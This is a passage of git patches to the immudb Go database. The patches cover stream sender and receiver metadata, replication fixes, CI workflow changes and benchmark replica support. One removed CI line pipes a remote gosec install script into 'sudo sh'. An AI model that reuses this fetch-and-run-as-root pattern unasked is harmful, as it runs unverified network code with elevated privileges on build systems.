b/pkg/stream/kvsender_test.go @@ -56,11 +56,11 @@ func TestKvStreamSender_SendEOF(t *testing.T) { sm := streamtest.DefaultImmuServiceSenderStreamMock() s := streamtest.DefaultMsgSenderMock(sm, 4096) - s.SendF = func(reader io.Reader, payloadSize int) (err error) { + s.SendF = func(reader io.Reader, payloadSize int, metadata map[string][]byte) (err error) { return io.EOF } s.RecvMsgF = func(m interface{}) error { - return errors.New(ErrNotEnoughDataOnStream) + return io.EOF } kvss := NewKvStreamSender(s) kv := &KeyValue{ @@ -75,15 +75,14 @@ func TestKvStreamSender_SendEOF(t *testing.T) { } err := kvss.Send(kv) - - require.Equal(t, ErrNotEnoughDataOnStream, err.Error()) + require.ErrorIs(t, err, io.EOF) } func TestKvStreamSender_SendErr(t *testing.T) { sm := streamtest.DefaultImmuServiceSenderStreamMock() s := streamtest.DefaultMsgSenderMock(sm, 4096) - s.SendF = func(reader io.Reader, payloadSize int) (err error) { + s.SendF = func(reader io.Reader, payloadSize int, metadata map[string][]byte) (err error) { return errors.New("custom one") } diff --git a/pkg/stream/receiver.go b/pkg/stream/receiver.go index 77a22efa55..e5e9c652ff 100644 --- a/pkg/stream/receiver.go +++ b/pkg/stream/receiver.go @@ -33,7 +33,7 @@ func NewMsgReceiver(stream ImmuServiceReceiver_Stream) *msgReceiver { type MsgReceiver interface { Read(data []byte) (n int, err error) - ReadFully() ([]byte, error) + ReadFully() (message []byte, metadata map[string][]byte, err error) } type msgReceiver struct { @@ -46,41 +46,41 @@ type msgReceiver struct { } // ReadFully reads the entire message that could be transmitted in several chunks -func (r *msgReceiver) ReadFully() ([]byte, error) { +func (r *msgReceiver) ReadFully() (message []byte, metadata map[string][]byte, err error) { firstChunk, err := r.stream.Recv() if err != nil { - return nil, err + return nil, nil, err } if len(firstChunk.Content) < 8 { - return nil, errors.New(ErrChunkTooSmall) + return nil, firstChunk.Metadata, errors.New(ErrChunkTooSmall) } - messageLen := int(binary.BigEndian.Uint64(firstChunk.Content)) + msgSize := int(binary.BigEndian.Uint64(firstChunk.Content)) - b := make([]byte, messageLen) - i := 0 + b := make([]byte, msgSize) + read := 0 copy(b, firstChunk.Content[8:]) - i += len(firstChunk.Content) - 8 + read += len(firstChunk.Content) - 8 - for i < messageLen { + for read < msgSize { chunk, err := r.stream.Recv() if err == io.EOF { break } if err != nil { - return nil, err + return b, firstChunk.Metadata, err } - copy(b[i:], chunk.Content) - i += len(chunk.Content) + copy(b[read:], chunk.Content) + read += len(chunk.Content) } - if messageLen > i { - return nil, errors.New(ErrNotEnoughDataOnStream) + if read < msgSize { + return b, firstChunk.Metadata, io.EOF } - return b, nil + return b, firstChunk.Metadata, nil } // Read read fill message with received data and return the number of read bytes or error. If no message is present it returns 0 and io.EOF. If the message is complete it returns 0 and nil, in that case successive calls to Read will returns a new message. @@ -124,7 +124,7 @@ func (r *msgReceiver) Read(data []byte) (n int, err error) { // no more data in stream but buffer is not enough large to contains the expected value if r.eof && r.b.Len() < r.tl-r.s { - return 0, errors.New(ErrNotEnoughDataOnStream) + return 0, io.EOF } // message send edge cases diff --git a/pkg/stream/receiver_test.go b/pkg/stream/receiver_test.go index 43016a0c81..ae12f6a772 100644 --- a/pkg/stream/receiver_test.go +++ b/pkg/stream/receiver_test.go @@ -91,15 +91,15 @@ func TestMsgReceiver_ReadFully_Edge_Cases(t *testing.T) { {C: nil, E: io.EOF}, }) mr := NewMsgReceiver(sm) - _, err := mr.ReadFully() - require.Equal(t, ErrNotEnoughDataOnStream, err.Error()) + _, _, err := mr.ReadFully() + require.ErrorIs(t, err, io.EOF) sm = streamtest.DefaultImmuServiceReceiverStreamMock([]*streamtest.ChunkError{ {C: &schema.Chunk{Content: []byte{1}}, E: nil}, {C: nil, E: io.EOF}, }) mr = NewMsgReceiver(sm) - _, err = mr.ReadFully() + _, _, err = mr.ReadFully() require.Equal(t, ErrChunkTooSmall, err.Error()) expectedErr := errors.New("unexpected error") @@ -108,7 +108,7 @@ func TestMsgReceiver_ReadFully_Edge_Cases(t *testing.T) { {C: nil, E: expectedErr}, }) mr = NewMsgReceiver(sm) - _, err = mr.ReadFully() + _, _, err = mr.ReadFully() require.Equal(t, expectedErr.Error(), err.Error()) sm = streamtest.DefaultImmuServiceReceiverStreamMock([]*streamtest.ChunkError{ @@ -116,7 +116,7 @@ func TestMsgReceiver_ReadFully_Edge_Cases(t *testing.T) { {C: nil, E: expectedErr}, }) mr = NewMsgReceiver(sm) - _, err = mr.ReadFully() + _, _, err = mr.ReadFully() require.Equal(t, expectedErr.Error(), err.Error()) } @@ -153,7 +153,7 @@ func TestMsgReceiver_ErrNotEnoughDataOnStream(t *testing.T) { n, err := mr.Read(message) require.Equal(t, 0, n) - require.Equal(t, ErrNotEnoughDataOnStream, err.Error()) + require.ErrorIs(t, err, io.EOF) } func TestMsgReceiver_StreamRecvError(t *testing.T) { diff --git a/pkg/stream/sender.go b/pkg/stream/sender.go index 6b1f6a45b9..f7bb87dd10 100644 --- a/pkg/stream/sender.go +++ b/pkg/stream/sender.go @@ -17,102 +17,83 @@ limitations under the License. package stream import ( - "bytes" "encoding/binary" "io" "github.com/codenotary/immudb/pkg/api/schema" - "github.com/codenotary/immudb/pkg/errors" ) type MsgSender interface { - Send(reader io.Reader, payloadSize int) (err error) + Send(reader io.Reader, chunkSize int, metadata map[string][]byte) (err error) RecvMsg(m interface{}) error } type msgSender struct { - stream ImmuServiceSender_Stream - b *bytes.Buffer - BufferSize int + stream ImmuServiceSender_Stream + buf []byte + chunk *schema.Chunk } // NewMsgSender returns a NewMsgSender. It can be used on server side or client side to send a message on a stream. -func NewMsgSender(s ImmuServiceSender_Stream, bs int) *msgSender { - buffer := new(bytes.Buffer) +func NewMsgSender(s ImmuServiceSender_Stream, chunkSize int) *msgSender { return &msgSender{ - stream: s, - b: buffer, - BufferSize: bs, + stream: s, + buf: make([]byte, chunkSize), + chunk: &schema.Chunk{}, } } -// Send reads from a reader until it reach payloadSize. It fill an internal buffer from what it read from reader and, when there is enough data, it sends a chunk on stream. -// It continues until it reach the payloadsize. At that point it sends the last content of the buffer. -func (st *msgSender) Send(reader io.Reader, payloadSize int) (err error) { - if payloadSize == 0 { - return errors.New(ErrMessageLengthIsZero) - } - var read = 0 - var run = true - for run { - // if read is 0 here trailer is created - if read == 0 { - ml := make([]byte, 8) - binary.BigEndian.PutUint64(ml, uint64(payloadSize)) - st.b.Write(ml) - } - // read data from reader and append it to the buffer - // todo @Michele reader need to be dynamic, not of chunk size - data := make([]byte, st.BufferSize) - r, err := reader.Read(data) +// Send reads from a reader until it reach msgSize. It fill an internal buffer from what it read from reader and, when there is enough data, it sends a chunk on stream. +// It continues until it reach the msgSize. At that point it sends the last content of the buffer. +func (st *msgSender) Send(reader io.Reader, msgSize int, metadata map[string][]byte) error { + available := len(st.buf) + + // first chunk begins with the message size and including metadata + binary.BigEndian.PutUint64(st.buf, uint64(msgSize)) + available -= 8 + + st.chunk.Metadata = metadata + + read := 0 + + for read < msgSize { + n, err := reader.Read(st.buf[len(st.buf)-available:]) if err != nil { - if err != io.EOF { - return err - } - } - if read == 0 && err == io.EOF { - return errors.New(ErrReaderIsEmpty) - } - read += r - if read < payloadSize && err == io.EOF { - return errors.New(ErrNotEnoughDataOnStream) + return err } - // append read data in the buffer - st.b.Write(data[:r]) + available -= n + read += n - // chunk processing - var chunk []byte - // last chunk creation - if read == payloadSize { - chunk = make([]byte, st.b.Len()) - _, err = st.b.Read(chunk) - if err != nil { - return nil - } - } - // enough data to send a chunk - if st.b.Len() > st.BufferSize { - chunk = make([]byte, st.BufferSize) - _, err = st.b.Read(chunk) - if err != nil { - return nil - } - } - // sending ... - if len(chunk) > 0 { - err = st.stream.Send(&schema.Chunk{ - Content: chunk, - }) + if available == 0 { + // send chunk when it's full + st.chunk.Content = st.buf[:len(st.buf)-available] + + err = st.stream.Send(st.chunk) if err != nil { return err } - // is last chunk - if read == payloadSize { - run = false - } + + available = len(st.buf) + + // metadata is only included into the first chunk + st.chunk.Metadata = nil } } + + if available < len(st.buf) { + // send last partially written chunk + st.chunk.Content = st.buf[:len(st.buf)-available] + + err := st.stream.Send(st.chunk) + if err != nil { + return err + } + + // just to avoid keeping a useless reference + st.chunk.Metadata = nil + } + return nil } diff --git a/pkg/stream/sender_test.go b/pkg/stream/sender_test.go index 8a92fc617f..c87c3ad41f 100644 --- a/pkg/stream/sender_test.go +++ b/pkg/stream/sender_test.go @@ -39,7 +39,7 @@ func TestMsgSender_Send(t *testing.T) { content := []byte(`mycontent`) message := bytes.Join([][]byte{streamtest.GetTrailer(len(content)), content}, nil) b := bytes.NewBuffer(message) - err := s.Send(b, b.Len()) + err := s.Send(b, b.Len(), nil) require.NoError(t, err) } @@ -47,8 +47,8 @@ func TestMsgSender_SendPayloadSizeZero(t *testing.T) { sm := streamtest.DefaultImmuServiceSenderStreamMock() s := NewMsgSender(sm, 4096) b := bytes.NewBuffer(nil) - err := s.Send(b, 0) - require.Equal(t, ErrMessageLengthIsZero, err.Error()) + err := s.Send(b, 0, nil) + require.NoError(t, err) } func TestMsgSender_SendErrReader(t *testing.T) { @@ -59,7 +59,7 @@ func TestMsgSender_SendErrReader(t *testing.T) { return 0, errors.New("custom one") }, } - err := s.Send(r, 5000) + err := s.Send(r, 5000, nil) require.Error(t, err) } @@ -71,8 +71,8 @@ func TestMsgSender_SendEmptyReader(t *testing.T) { return 0, io.EOF }, } - err := s.Send(r, 5000) - require.Equal(t, ErrReaderIsEmpty, err.Error()) + err := s.Send(r, 5000, nil) + require.ErrorIs(t, err, io.EOF) } func TestMsgSender_SendEErrNotEnoughDataOnStream(t *testing.T) { @@ -82,8 +82,8 @@ func TestMsgSender_SendEErrNotEnoughDataOnStream(t *testing.T) { content := []byte(`mycontent`) message := streamtest.GetTrailer(len(content)) b := bytes.NewBuffer(message) - err := s.Send(b, 5000) - require.Equal(t, ErrNotEnoughDataOnStream, err.Error()) + err := s.Send(b, 5000, nil) + require.ErrorIs(t, err, io.EOF) } func TestMsgSender_SendLastChunk(t *testing.T) { @@ -92,7 +92,7 @@ func TestMsgSender_SendLastChunk(t *testing.T) { content := []byte(`mycontent`) b := bytes.NewBuffer(content) - err := s.Send(b, len(content)) + err := s.Send(b, len(content), nil) require.NoError(t, err) } @@ -102,7 +102,7 @@ func TestMsgSender_SendMultipleChunks(t *testing.T) { content := []byte(`mycontent`) b := bytes.NewBuffer(content) - err := s.Send(b, len(content)) + err := s.Send(b, len(content), nil) require.NoError(t, err) } diff --git a/pkg/stream/streamtest/sender.go b/pkg/stream/streamtest/sender.go index 7029ea3863..28842354ce 100644 --- a/pkg/stream/streamtest/sender.go +++ b/pkg/stream/streamtest/sender.go @@ -21,13 +21,13 @@ import ( ) type msgSenderMock struct { - SendF func(reader io.Reader, payloadSize int) (err error) + SendF func(reader io.Reader, payloadSize int, metadata map[string][]byte) (err error) RecvMsgF func(m interface{}) error } func DefaultMsgSenderMock(s *ImmuServiceSender_StreamMock, chunkSize int) *msgSenderMock { return &msgSenderMock{ - SendF: func(reader io.Reader, payloadSize int) (err error) { + SendF: func(reader io.Reader, payloadSize int, metadata map[string][]byte) (err error) { return nil }, RecvMsgF: func(m interface{}) error { @@ -36,8 +36,8 @@ func DefaultMsgSenderMock(s *ImmuServiceSender_StreamMock, chunkSize int) *msgSe } } -func (st *msgSenderMock) Send(reader io.Reader, payloadSize int) (err error) { - return st.SendF(reader, payloadSize) +func (st *msgSenderMock) Send(reader io.Reader, payloadSize int, metadata map[string][]byte) (err error) { + return st.SendF(reader, payloadSize, metadata) } func (st *msgSenderMock) RecvMsg(m interface{}) error { diff --git a/pkg/stream/ventrysender.go b/pkg/stream/ventrysender.go index e76821677f..7e0dc7da8c 100644 --- a/pkg/stream/ventrysender.go +++ b/pkg/stream/ventrysender.go @@ -16,6 +16,11 @@ limitations under the License. package stream +import ( + "errors" + "io" +) + type vEntryStreamSender struct { s MsgSender } @@ -29,7 +34,10 @@ func NewVEntryStreamSender(s MsgSender) *vEntryStreamSender { func (vess *vEntryStreamSender) Send(ve *VerifiableEntry) error { ves := []*ValueSize{ve.EntryWithoutValueProto, ve.VerifiableTxProto, ve.InclusionProofProto, ve.Value} for _, vs := range ves { - err := vess.s.Send(vs.Content, vs.Size) + err := vess.s.Send(vs.Content, vs.Size, nil) + if errors.Is(err, io.EOF) { + return vess.s.RecvMsg(nil) + } if err != nil { return err } diff --git a/pkg/stream/ventrysender_test.go b/pkg/stream/ventrysender_test.go index 04d2f897f4..20d0f6979c 100644 --- a/pkg/stream/ventrysender_test.go +++ b/pkg/stream/ventrysender_test.go @@ -63,7 +63,7 @@ func TestVEntryStreamSender_Send(t *testing.T) { func TestVEntryStreamSender_SendErr(t *testing.T) { sm := streamtest.DefaultImmuServiceSenderStreamMock() s := streamtest.DefaultMsgSenderMock(sm, 4096) - s.SendF = func(reader io.Reader, payloadSize int) (err error) { + s.SendF = func(reader io.Reader, payloadSize int, metadata map[string][]byte) (err error) { return errors.New("custom") } kvss := NewVEntryStreamSender(s) diff --git a/pkg/stream/zsender.go b/pkg/stream/zsender.go index e074e9df1d..d4763e25fd 100644 --- a/pkg/stream/zsender.go +++ b/pkg/stream/zsender.go @@ -16,7 +16,10 @@ limitations under the License. package stream -import "io" +import ( + "errors" + "io" +) type zStreamSender struct { s MsgSender @@ -31,11 +34,11 @@ func NewZStreamSender(s MsgSender) *zStreamSender { func (st *zStreamSender) Send(ze *ZEntry) error { for _, vs := range []*ValueSize{ze.Set, ze.Key, ze.Score, ze.AtTx, ze.Value} { - err := st.s.Send(vs.Content, vs.Size) + err := st.s.Send(vs.Content, vs.Size, nil) + if errors.Is(err, io.EOF) { + return st.s.RecvMsg(nil) + } if err != nil { - if err == io.EOF { - return st.s.RecvMsg(nil) - } return err } } diff --git a/pkg/stream/zsender_test.go b/pkg/stream/zsender_test.go index 016688a1b1..e2c6c1a148 100644 --- a/pkg/stream/zsender_test.go +++ b/pkg/stream/zsender_test.go @@ -10,12 +10,12 @@ import ( ) type msgSenderMock struct { - SendF func(io.Reader, int) error + SendF func(io.Reader, int, map[string][]byte) error RecvMsgF func(interface{}) error } -func (msm *msgSenderMock) Send(reader io.Reader, payloadSize int) error { - return msm.SendF(reader, payloadSize) +func (msm *msgSenderMock) Send(reader io.Reader, payloadSize int, metadata map[string][]byte) error { + return msm.SendF(reader, payloadSize, metadata) } func (msm *msgSenderMock) RecvMsg(m interface{}) error { return msm.RecvMsgF(m) @@ -24,7 +24,7 @@ func (msm *msgSenderMock) RecvMsg(m interface{}) error { func TestZSender(t *testing.T) { // EOF error msm := msgSenderMock{ - SendF: func(io.Reader, int) error { return io.EOF }, + SendF: func(io.Reader, int, map[string][]byte) error { return io.EOF }, RecvMsgF: func(interface{}) error { return errors.New("receive msg error") }, } zss := NewZStreamSender(&msm) @@ -52,7 +52,7 @@ func TestZSender(t *testing.T) { require.Equal(t, errors.New("receive msg error"), err) // other error - msm.SendF = func(io.Reader, int) error { return errors.New("send error") } + msm.SendF = func(io.Reader, int, map[string][]byte) error { return errors.New("send error") } msm.RecvMsgF = func(interface{}) error { return nil } zss = NewZStreamSender(&msm) err = zss.Send(&zEntry) @@ -60,7 +60,7 @@ func TestZSender(t *testing.T) { require.Equal(t, errors.New("send error"), err) // no error - msm.SendF = func(io.Reader, int) error { return nil } + msm.SendF = func(io.Reader, int, map[string][]byte) error { return nil } zss = NewZStreamSender(&msm) err = zss.Send(&zEntry) require.NoError(t, err) From d18a1ec0b20de2c9dec64f590bb7755bdf79dbf0 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Thu, 2 Feb 2023 19:32:12 -0300 Subject: [PATCH 0216/1062] chore(pkg/stream): handle eof when sending data Signed-off-by: Jeronimo Irazabal --- pkg/client/streams.go | 4 ++-- pkg/client/streams_verified_integration_test.go | 4 ++-- pkg/client/streams_zscan_and_history_integration_test.go | 4 ++-- pkg/server/streams.go | 8 ++++---- pkg/stream/kvsender.go | 8 -------- pkg/stream/ventryreceiver.go | 2 +- 6 files changed, 11 insertions(+), 19 deletions(-) diff --git a/pkg/client/streams.go b/pkg/client/streams.go index 80ff0aca7c..0bbce10204 100644 --- a/pkg/client/streams.go +++ b/pkg/client/streams.go @@ -34,8 +34,8 @@ import ( // StreamSet performs a write operation of a value for a single key retrieving key and value form io.Reader streams. func (c *immuClient) StreamSet(ctx context.Context, kvs []*stream.KeyValue) (*schema.TxHeader, error) { - txMeta, err := c._streamSet(ctx, kvs) - return txMeta, errors.FromError(err) + txhdr, err := c._streamSet(ctx, kvs) + return txhdr, errors.FromError(err) } // StreamGet retrieves a single entry for a key read from an io.Reader stream. diff --git a/pkg/client/streams_verified_integration_test.go b/pkg/client/streams_verified_integration_test.go index d3231ac774..da2246ce03 100644 --- a/pkg/client/streams_verified_integration_test.go +++ b/pkg/client/streams_verified_integration_test.go @@ -38,9 +38,9 @@ func TestImmuServer_StreamVerifiedSetAndGet(t *testing.T) { kvs, err := streamutils.GetKeyValuesFromFiles(tmpFile.Name()) require.NoError(t, err) - txMeta, err := cliIF.StreamVerifiedSet(ctx, kvs) + txhdr, err := cliIF.StreamVerifiedSet(ctx, kvs) require.NoError(t, err) - require.NotNil(t, txMeta) + require.NotNil(t, txhdr) entry, err := cliIF.StreamVerifiedGet(ctx, &schema.VerifiableGetRequest{ KeyRequest: &schema.KeyRequest{Key: []byte(tmpFile.Name())}, diff --git a/pkg/client/streams_zscan_and_history_integration_test.go b/pkg/client/streams_zscan_and_history_integration_test.go index c3ff90411b..4a03f3f2dc 100644 --- a/pkg/client/streams_zscan_and_history_integration_test.go +++ b/pkg/client/streams_zscan_and_history_integration_test.go @@ -77,9 +77,9 @@ func streamSetFiles( vSizes[i] = kv.Value.Size } - txMeta, err := cli.StreamSet(ctx, kvs) + txhdr, err := cli.StreamSet(ctx, kvs) require.NoError(t, err) - require.NotNil(t, txMeta) + require.NotNil(t, txhdr) return } diff --git a/pkg/server/streams.go b/pkg/server/streams.go index d7ccea9f1b..166fb8e237 100644 --- a/pkg/server/streams.go +++ b/pkg/server/streams.go @@ -100,7 +100,7 @@ func (s *ImmuServer) StreamSet(str schema.ImmuService_StreamSetServer) error { kvs = append(kvs, &schema.KeyValue{Key: key, Value: value}) } - txMeta, err := db.Set(str.Context(), &schema.SetRequest{KVs: kvs}) + txhdr, err := db.Set(str.Context(), &schema.SetRequest{KVs: kvs}) if err == store.ErrorMaxValueLenExceeded { return errors.Wrap(err, stream.ErrMaxValueLenExceeded) } @@ -108,7 +108,7 @@ func (s *ImmuServer) StreamSet(str schema.ImmuService_StreamSetServer) error { return status.Errorf(codes.Unknown, "StreamSet receives following error: %s", err.Error()) } - err = str.SendAndClose(txMeta) + err = str.SendAndClose(txhdr) if err != nil { return err } @@ -467,12 +467,12 @@ func (s *ImmuServer) StreamExecAll(str schema.ImmuService_StreamExecAllServer) e } } - txMeta, err := db.ExecAll(str.Context(), &schema.ExecAllRequest{Operations: sops}) + txhdr, err := db.ExecAll(str.Context(), &schema.ExecAllRequest{Operations: sops}) if err != nil { return err } - err = str.SendAndClose(txMeta) + err = str.SendAndClose(txhdr) if err != nil { return err } diff --git a/pkg/stream/kvsender.go b/pkg/stream/kvsender.go index 40d2c847a1..424afeb154 100644 --- a/pkg/stream/kvsender.go +++ b/pkg/stream/kvsender.go @@ -16,11 +16,6 @@ limitations under the License. package stream -import ( - "errors" - "io" -) - type kvStreamSender struct { s MsgSender } @@ -48,9 +43,6 @@ func (st *kvStreamSender) Send(kv *KeyValue) error { func (st *kvStreamSender) send(vs *ValueSize) error { err := st.s.Send(vs.Content, vs.Size, nil) - if errors.Is(err, io.EOF) { - return st.s.RecvMsg(nil) - } if err != nil { return err } diff --git a/pkg/stream/ventryreceiver.go b/pkg/stream/ventryreceiver.go index 00c3da2187..feaba89b84 100644 --- a/pkg/stream/ventryreceiver.go +++ b/pkg/stream/ventryreceiver.go @@ -35,7 +35,7 @@ func NewVEntryStreamReceiver(s io.Reader, bs int) VEntryStreamReceiver { func (vesr *vEntryStreamReceiver) Next() ([]byte, []byte, []byte, io.Reader, error) { ris := make([][]byte, 3) - for i, _ := range ris { + for i := range ris { r, err := ReadValue(vesr.s, vesr.BufferSize) if err != nil { return nil, nil, nil, nil, err From 82d797c6fae04b9930ff90b0366396af0b3bdaa0 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Fri, 3 Feb 2023 08:28:48 -0300 Subject: [PATCH 0217/1062] fix(pkg/replicator): check stream is properly initialized Signed-off-by: Jeronimo Irazabal --- pkg/replication/replicator.go | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/pkg/replication/replicator.go b/pkg/replication/replicator.go index 8eb32ad94f..520eaa7af1 100644 --- a/pkg/replication/replicator.go +++ b/pkg/replication/replicator.go @@ -241,6 +241,7 @@ func (txr *TxReplicator) replicationFailureDelay(consecutiveFailures int) bool { defer txr.metrics.replicatorsInRetryDelay.Dec() timer := time.NewTimer(txr.delayer.DelayAfter(consecutiveFailures)) + select { case <-txr.context.Done(): timer.Stop() @@ -264,6 +265,7 @@ func (txr *TxReplicator) connect() error { WithAddress(txr.opts.primaryHost). WithPort(txr.opts.primaryPort). WithDisableIdentityCheck(true) + txr.client = client.NewClient().WithOptions(opts) err := txr.client.OpenSession( @@ -296,10 +298,10 @@ func (txr *TxReplicator) disconnect() { if txr.exportTxStream != nil { txr.exportTxStream.CloseSend() + txr.exportTxStream = nil } txr.client.CloseSession(txr.context) - txr.client = nil txr.logger.Infof("Disconnected from '%s':'%d' for database '%s'", txr.opts.primaryHost, txr.opts.primaryPort, txr.db.GetName()) @@ -313,7 +315,7 @@ func (txr *TxReplicator) fetchNextTx() error { return ErrAlreadyStopped } - if txr.client == nil { + if txr.exportTxStream == nil { err := txr.connect() if err != nil { return err From 3f7aea7b33110edbcdc8152b77d2ff7b0805e0fc Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Fri, 3 Feb 2023 09:36:45 -0300 Subject: [PATCH 0218/1062] fix(pkg/server): do not set trailer metadata when replication is done with bidirectional streamming Signed-off-by: Jeronimo Irazabal --- pkg/server/stream_replication.go | 50 ++++++++++++++++++-------------- 1 file changed, 29 insertions(+), 21 deletions(-) diff --git a/pkg/server/stream_replication.go b/pkg/server/stream_replication.go index 8c11c9f205..480aa3fe6e 100644 --- a/pkg/server/stream_replication.go +++ b/pkg/server/stream_replication.go @@ -26,6 +26,24 @@ import ( ) func (s *ImmuServer) ExportTx(req *schema.ExportTxRequest, txsServer schema.ImmuService_ExportTxServer) error { + return s.exportTx(req, txsServer, true) +} + +func (s *ImmuServer) StreamExportTx(stream schema.ImmuService_StreamExportTxServer) error { + for { + req, err := stream.Recv() + if err != nil { + return err + } + + err = s.exportTx(req, stream, false) + if err != nil { + return err + } + } +} + +func (s *ImmuServer) exportTx(req *schema.ExportTxRequest, txsServer schema.ImmuService_ExportTxServer, setTrailer bool) error { if req == nil || req.Tx == 0 || txsServer == nil { return ErrIllegalArguments } @@ -58,13 +76,17 @@ func (s *ImmuServer) ExportTx(req *schema.ExportTxRequest, txsServer schema.Immu "committed-txid-bin": bCommittedTxID[:], } - // trailer metadata is kept for backward compatibility - md := metadata.Pairs( - "may-commit-up-to-txid-bin", string(bMayCommitUpToTxID[:]), - "may-commit-up-to-alh-bin", string(mayCommitUpToAlh[:]), - "committed-txid-bin", string(bCommittedTxID[:]), - ) - txsServer.SetTrailer(md) + if setTrailer { + // trailer metadata is kept for backward compatibility + // it should not be sent when replication is done with bidirectional streaming + // otherwise metadata will get accumulated over time + md := metadata.Pairs( + "may-commit-up-to-txid-bin", string(bMayCommitUpToTxID[:]), + "may-commit-up-to-alh-bin", string(mayCommitUpToAlh[:]), + "committed-txid-bin", string(bCommittedTxID[:]), + ) + txsServer.SetTrailer(md) + } } sender := s.StreamServiceFactory.NewMsgSender(txsServer) @@ -127,17 +149,3 @@ func (s *ImmuServer) ReplicateTx(replicateTxServer schema.ImmuService_ReplicateT return replicateTxServer.SendAndClose(hdr) } - -func (s *ImmuServer) StreamExportTx(stream schema.ImmuService_StreamExportTxServer) error { - for { - req, err := stream.Recv() - if err != nil { - return err - } - - err = s.ExportTx(req, stream) - if err != nil { - return err - } - } -} From cd1e7e78ce45a64deabe670b1b6cd1beda60f901 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Fri, 3 Feb 2023 12:37:34 -0300 Subject: [PATCH 0219/1062] chore(pkg/server): added inline comments Signed-off-by: Jeronimo Irazabal --- pkg/server/stream_replication.go | 1 + 1 file changed, 1 insertion(+) diff --git a/pkg/server/stream_replication.go b/pkg/server/stream_replication.go index 480aa3fe6e..2d612198f3 100644 --- a/pkg/server/stream_replication.go +++ b/pkg/server/stream_replication.go @@ -29,6 +29,7 @@ func (s *ImmuServer) ExportTx(req *schema.ExportTxRequest, txsServer schema.Immu return s.exportTx(req, txsServer, true) } +// StreamExportTx implements the bidirectional streaming endpoint used to export transactions func (s *ImmuServer) StreamExportTx(stream schema.ImmuService_StreamExportTxServer) error { for { req, err := stream.Recv() From 3a3844fa0533caf6dcfe8d3223ba2cda6cbda999 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Mon, 6 Feb 2023 09:22:18 -0300 Subject: [PATCH 0220/1062] chore: use gosec action Signed-off-by: Jeronimo Irazabal chore: use gosec action in PR Signed-off-by: Jeronimo Irazabal chore: checkout code Signed-off-by: Jeronimo Irazabal chore: use gosec action Signed-off-by: Jeronimo Irazabal --- .github/workflows/pull.yml | 12 ++++++++++++ .github/workflows/push.yml | 7 ++++--- 2 files changed, 16 insertions(+), 3 deletions(-) diff --git a/.github/workflows/pull.yml b/.github/workflows/pull.yml index b46a0bab61..7a2dfd42ea 100644 --- a/.github/workflows/pull.yml +++ b/.github/workflows/pull.yml @@ -121,6 +121,18 @@ jobs: webconsole_page=$(curl -s localhost:8080) || { echo "Test #8 web console unreachable"; exit 1; } grep -q "immudb webconsole" <<< $webconsole_page || { echo "Test #9 Failed, web console reachable but title not found"; exit 1; } + gosec: + name: Run Gosec Security Scanner + runs-on: ubuntu-latest + steps: + - uses: actions/setup-go@v3 + with: + go-version: ${{ env.GO_VERSION }} + - uses: actions/checkout@v3 + - uses: securego/gosec@v2.14.0 + with: + args: -fmt=json -out=results-$JOB_ID.json -no-fail ./... + coveralls: name: Coverage runs-on: ubuntu-latest diff --git a/.github/workflows/push.yml b/.github/workflows/push.yml index 429e5ebd7b..af5608fc51 100644 --- a/.github/workflows/push.yml +++ b/.github/workflows/push.yml @@ -34,9 +34,10 @@ jobs: with: go-version: ${{ env.GO_VERSION }} - uses: actions/checkout@v3 - - run: | - curl -sfL https://raw.githubusercontent.com/securego/gosec/master/install.sh | sudo sh -s -- -b $GOPATH/bin latest - gosec -fmt=json -out=results-$JOB_ID.json -no-fail ./... + - name: Run Gosec Security Scanner + uses: securego/gosec@v2.14.0 + with: + args: -fmt=json -out=results-$JOB_ID.json -no-fail ./... binaries: name: Build binaries and notarize sources From 43f9ea3f232a428871ef40e423927646ca8312f7 Mon Sep 17 00:00:00 2001 From: Marco Sanchotene Date: Tue, 31 Jan 2023 15:54:14 -0300 Subject: [PATCH 0221/1062] test(test/performance): extend with async replicas Signed-off-by: Marco Sanchotene --- .../pkg/benchmarks/writetxs/benchmark.go | 27 +++++++++++++++++-- .../pkg/runner/benchmarks.go | 26 ++++++++++++++++-- 2 files changed, 49 insertions(+), 4 deletions(-) diff --git a/test/performance-test-suite/pkg/benchmarks/writetxs/benchmark.go b/test/performance-test-suite/pkg/benchmarks/writetxs/benchmark.go index 84e057f87c..ef06d112f6 100644 --- a/test/performance-test-suite/pkg/benchmarks/writetxs/benchmark.go +++ b/test/performance-test-suite/pkg/benchmarks/writetxs/benchmark.go @@ -47,6 +47,7 @@ type Config struct { KeySize int ValueSize int AsyncWrite bool + Replica bool } type benchmark struct { @@ -64,8 +65,9 @@ type benchmark struct { m sync.Mutex - server *servertest.BufconnServer - clients []client.ImmuClient + server *servertest.BufconnServer + replicaServer *servertest.BufconnServer + clients []client.ImmuClient } type Result struct { @@ -130,6 +132,27 @@ func (b *benchmark) Warmup() error { return err } + if b.cfg.Replica { + const replicaDirName = "replica-tx-test" + + replicaOptions := server. + ReplicationOptions{} + + options_2 := server. + DefaultOptions(). + WithDir(replicaDirName). + WithLogFormat(logger.LogFormatJSON). + WithReplicationOptions(replicaOptions.WithIsReplica(true)) + + b.replicaServer = servertest.NewBufconnServer(options_2) + b.replicaServer.Server.Srv.WithLogger(logger.NewMemoryLoggerWithLevel(logger.LogDebug)) + + err = b.replicaServer.Start() + if err != nil { + return err + } + } + b.clients = []client.ImmuClient{} for i := 0; i < b.cfg.Workers; i++ { c, err := b.server.NewAuthenticatedClient(client.DefaultOptions()) diff --git a/test/performance-test-suite/pkg/runner/benchmarks.go b/test/performance-test-suite/pkg/runner/benchmarks.go index dc6bdb0c8d..a93f0a649c 100644 --- a/test/performance-test-suite/pkg/runner/benchmarks.go +++ b/test/performance-test-suite/pkg/runner/benchmarks.go @@ -24,21 +24,43 @@ import ( func getBenchmarksToRun() []benchmarks.Benchmark { return []benchmarks.Benchmark{ writetxs.NewBenchmark(writetxs.Config{ - Name: "Write TX/s", + Name: "Write TX/s - single server", Workers: 30, BatchSize: 1, KeySize: 32, ValueSize: 128, AsyncWrite: true, + Replica: false, }), writetxs.NewBenchmark(writetxs.Config{ - Name: "Write KV/s", + Name: "Write KV/s - single server", Workers: 30, BatchSize: 1000, KeySize: 32, ValueSize: 128, AsyncWrite: true, + Replica: false, + }), + + writetxs.NewBenchmark(writetxs.Config{ + Name: "Write TX/s - one async replica", + 